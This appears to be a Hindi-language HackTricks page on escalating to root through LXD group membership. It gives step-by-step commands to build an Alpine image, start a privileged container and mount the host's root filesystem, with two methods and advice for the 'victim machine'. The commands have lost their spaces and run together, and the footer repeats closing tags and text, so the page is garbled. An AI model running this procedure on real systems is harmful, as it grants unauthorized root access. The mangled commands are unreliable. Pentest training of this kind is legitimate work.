sudosu#Install requirementssudoaptupdatesudoaptinstall-ygitgolang-godebootstraprsyncgpgsquashfs-tools#Clone repogitclonehttps://github.com/lxc/distrobuilder#Make distrobuildercddistrobuildermake#Prepare the creation of alpinemkdir-p $HOME/ContainerImages/alpine/cd $HOME/ContainerImages/alpine/wgethttps://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml#Create the containersudo $HOME/go/bin/distrobuilderbuild-lxdalpine.yaml-oimage.release=3.18
फाइलें lxd.tar.xz और rootfs.squashfs अपलोड करें, इमेज को रेपो में जोड़ें और एक कंटेनर बनाएं:
lxcimageimportlxd.tar.xzrootfs.squashfs--aliasalpine# Check the image is therelxcimagelist# Create the containerlxcinitalpineprivesc-csecurity.privileged=true# List containerslxclistlxcconfigdeviceaddpriveschost-rootdisksource=/path=/mnt/rootrecursive=true
यदि आप यह त्रुटि त्रुटि: कोई स्टोरेज पूल नहीं मिला। कृपया एक नया स्टोरेज पूल बनाएंlxd init चलाएं और पिछले आदेशों के समूह को दोहराएं
अंत में, आप कंटेनर को निष्पादित कर सकते हैं और रूट प्राप्त कर सकते हैं:
lxcstartprivesclxcexecprivesc/bin/sh[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
Method 2
एक Alpine इमेज बनाएं और इसे security.privileged=true फ्लैग का उपयोग करके शुरू करें, जिससे कंटेनर को होस्ट फ़ाइल सिस्टम के साथ रूट के रूप में इंटरैक्ट करने के लिए मजबूर किया जा सके।
# build a simple alpine imagegitclonehttps://github.com/saghul/lxd-alpine-buildercdlxd-alpine-buildersed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo./build-alpine-ai686# import the imagelxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.
# before running the image, start and configure the lxd storage pool as defaultlxdinit# run the imagelxcinitmyimagemycontainer-csecurity.privileged=true# mount the /root into the imagelxcconfigdeviceaddmycontainermydevicedisksource=/path=/mnt/rootrecursive=true<div data-gb-custom-block data-tag="hint" data-style='success'>Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details><summary>Support HackTricks</summary>* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details></div></details></div></details></div></details></div></details></div></details></div></details></div></details></div></details></div></details></div></details></div></details></div></details></div></details></div></details></div></details></div></details></div></details></div></details></div></details></div></details></div></details></div></details></div>hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</div></details></div>